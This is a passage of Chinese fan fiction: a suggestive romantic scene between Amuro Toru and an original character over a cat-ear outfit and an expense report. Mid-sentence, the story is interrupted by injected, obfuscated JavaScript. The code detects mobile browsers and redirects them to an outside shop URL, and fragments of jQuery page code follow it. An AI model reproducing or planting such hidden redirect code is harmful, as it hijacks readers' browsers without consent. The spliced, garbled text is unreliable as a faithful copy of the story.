安室透伸出手,拉过我妻月咲,让他趴在自己腿上,形成充满掌控欲的姿势。
他从对方眼底找不到一丝戏耍自己的痕迹。
——难不成真的只是自己经历了太多,理解错月咲的意思吗?
在卧底期间,游走在各大宴会、商务,甚至是阴暗的场合之中,安室透见到过太多类似的东西。
但面对月咲,心里的怀疑和解释却怎么都无法说出口。
他最终无奈地叹了口气,“月咲,我只是觉得这套衣服有点像女孩子穿的,穿到外面也许会不太合适。”
“那你喜欢这套衣服吗?”
我妻月咲趴在安室透腿上,打出一个直球。
安室透摸了摸对方头顶的猫耳,最终背着良心说道:“不……不是很喜欢……”
闻言,我妻月咲好似被雷劈了一般身体僵硬。
他稍稍抬起头,想要探究对方真实的想法,然而只看到蓝灰色的眼底像是一潭池水,隐藏了所有情绪,幽深而不见底。
原本自己喜欢的金色发丝也在此时添乱,在灯光下形成一片阴影,遮住眼底的情绪。
我妻月咲盯着面前的青年,如同被阳光吻过的深褐的皮肤与浅金发色形成鲜明对比。
——明明以前很喜欢自己可爱的打扮,每次的私服都会被称赞的……
他不相信安室透会不喜欢这一套衣服,依然不断地尝试着安利,“这没有女孩子的样子呀,很多男生也会这么穿的。”
——虽然白丝是过分了一些,但是cosplay很多小男生不也会这样穿嘛。
他心里想着,面上有些心虚地拍了拍脸,软软的肉垫接触到面颊发出“啪唧、啪唧”的声音。
见我妻月咲还在“抗争”,特别看到对方趴在自己腿间拍脸的样子。
安室透终于忍不住,一只手半顺遂自己的心意,半提醒地摸向白色丝袜的束口。
被袜子挤出的软肉十分丰满,莹润的皮肤下透着层粉,像是刚成熟的果实,入口带着青涩与甜蜜。
这一身衣服搭配上类似裙子与大腿袜衔接部分的绝对领域,尽管并没有过多暴露什么,依然会让一部分人浮想联翩。
这是见过“世面”的安室透在了解不过的事情。
但他依然摸向了这一部分,滑嫩的触感和尾巴的毛绒感从手掌传递到大脑负责处理对应感觉的器官里。
接受到信号的大脑下达了新一层的指令,扣在皮肤上的手掌逐渐用力,代替丝袜箍在腿上。
——月咲的皮肤好像一直这样好摸,如果很用力一些……
我妻月咲感觉到手掌的摩挲,志得意满地开口,“明明你也很喜欢……等等…手……手指!”
话没说完,便被对方手指勾起丝袜束口的动作打断。
因为经常握木仓,有些粗糙的手指勾起丝袜袜口,让本就带着压力的边缘更向皮肉里勒进。指尖还在周围来回滑动,带起一片战栗。
我妻月咲的粉色眸子因为动作变得雾蒙蒙的,呼吸也逐渐升温。
突然的刺激让他有些目眩,连带着看到的东西也模模糊糊,就连安室透在他的视线里也像是覆盖上一层雾气。
在被对方掌控的姿势下,安室透依然会细心的注意到自己是否难受,并从沙发上拿过抱枕垫在身下。
这样的对待,自己怎么能不喜欢他呢?
我妻月咲心底的爱意逐渐放大。
“嗯?手指怎么了?”听到对方的话,安室透手指下意识又动了动。
他看着枕在自己腿上、泛着红晕的脸,进一步发问道:“还要穿这套衣服出门吗?”
我妻月咲察觉到安室透眼底的情绪,便故意跟他作对道:“……我……我觉得挺好的,把猫耳和猫尾巴摘掉就是正常的衣服了!”
“你这样穿的话,别人也会注意到你这里的。”
安室透一边说着,一边拉开袜口。在看见一道红痕印在洁白的皮肉上时,有些愣神。
“透在我身边呢!别人注意就休息!”我妻月咲理直气壮地要求道。
说着,他拉过安室透的另一只手,放在自己头顶的猫耳朵上。
“你试试这个,我去找人定做的!摸起来软软的,很舒服!”
安室透的注意力被话语唤回到我妻月咲头顶,指尖能感受到柔软的触感。
他轻轻摇了摇头,将刚刚的画面甩出自己的脑海。
“确实很软,不过今晚还有正事,不能陪你出去了。”
“什么事情?”我妻月咲见自己被拒绝,有些生气地鼓起脸颊,不满地追问道,“最近不是只有一个任务吗?”
安室透看着气鼓鼓的我妻月咲,对方脸上的红晕还没有褪去,发丝因为在自己腿上蹭来蹭去,显得有些凌乱的散在脸侧。
腿上的丝袜被自己拉扯地脱离原先位置,往下滑落,露出扰乱自己思绪的红痕。
也许是因为这时的氛围实在轻松,也许是因为关于酒厂的调查有了些许眉目,安室透内心久违的感到些许轻松,甚至还有一丝恶趣味。
他故意收手时拉了下我妻月咲,将对方卡在自己腿间。
“最近的任务上面是要总结报告的,组织那边报销也需要写一份说明。”
“报销?”
总结报告我妻月咲并不陌生,在警校学习时因为某些原因,也不少写。
但组织的报销说明……
我妻月咲自觉省力地将自身绝大多数重量压在安室透腿上,好奇地追问道:“组织报销还要写说明吗?”
“当然要写。”说到这里,安室透无奈的耸了耸肩,“这是琴酒针对我们的,他一直看我和贝尔摩德的花费不顺眼。”
“哈哈哈他觉得你们是薪水小偷?”我妻月咲忍不住笑出了声。
然而安室透没有否认面前青年的说法,这让我妻月咲心里不免打鼓。
“……不……不会吧?你真的是薪水小偷?”他不敢置信地喃喃道,头顶的猫耳朵也耷拉下来,“组织难道发薪水吗?”
安室透摸了摸猫耳朵,试图把它们再立起来,“我只不过是把一些不必要的支出也算进去了,比如上次给你的西装…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812459|188301||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…不过确实有薪水。”
他看着我妻月咲有些吃惊的样子,忍不住笑了笑,“你现在是跟我一起写报告,还是出去逛街呢?”
“当然是一起写报告了!”
完全不用思考,我妻月咲就做出了选择。
——无论是什么跟零相比,零都是最重要的,更何况是两人相处的私人时间!
——虽然可能没有亲密接触,但是在零怀里陪着一起写的话……好幸福!
脑海里的想象让他幸福地有些眩晕。
“那就坐上来吧。”安室透松开卡在我妻月咲腰间的大腿,拍了拍沙发上空置的座位。,
我妻月咲起身,用猫咪连体袖套的肉垫拍了拍对方的大腿,“我要坐这里!”
见安室透迟迟没有答复,他有气势汹汹地拍了拍,但话尾的语气弱了下去。
“怎么,难道不可以吗……”
看到我妻月咲突然低沉的情绪,安室透没有说话,只是默默地将青年拉到自己怀里。
我妻月咲将头枕在安室透肩膀上,手指在对方头发上绕来绕去,头顶的猫耳也跟着动作一下一下地蹭着对方的脸。
脸侧传来的痒意让安室透还没看向电脑屏幕,就把我妻月咲抱起来,背对着自己警告道:“如果再乱动的话,猫耳就要被摘掉了。”
我妻月咲连忙握住自己头顶的猫耳,等它们固定在位置上后,才松开手。
“好啦,我不乱动就是了。”
但时隔多年后,第一次坐在安室透怀里,让他忍不住动了动脚,过于灵活的猫耳再次蹭了蹭金发青年。
安室透刚在空白文档里敲了一行字,就察觉到下巴处的痒意。
“猫耳朵还是摘掉……”
刚低头,话还未说完,他就注意到我妻月咲的脚底也有着桃粉色的猫爪垫。
他沉默地收紧大腿,将我妻月咲固定在自己怀里,电脑里的报告只来得及被按上Ctrl+s。
“嗯?怎么了透?”
自娱自乐的我妻月咲没有听到前面的话,只是察觉到两侧收紧的大腿。
他有些奇怪地仰起头,猫耳朵顺着金发青年的下巴划到脖子处。
安室透再度叹了口气,“我说月咲……你的袜子……”
他顿了顿,想要找到一个合适的词语去描述。
毕竟如果按整体的眼光来看,这一套衣服顶多在白色丝袜上不太合适。
但是如果从局部看,无论是猫耳朵、猫尾巴、猫爪、甚至是袜子下的肉垫,都充满着别样的意味。
我妻月咲听到提醒,才想起来自己穿的袜子也是论坛上精心搭配的。
他抬高小腿晃了晃,猫爪垫时不时露出在安室透的视野里。
“你是说这个吗?是不是很可爱!”
我妻月咲假装什么都不知道的样子,理直气壮地问道。
“……的确很可爱,但你知道这是什么吗?”
知道不少内容的安室透低下头,确认般地看向我妻月咲。手上慢条斯理地箍住青年的大腿,将白色丝袜缓缓褪下。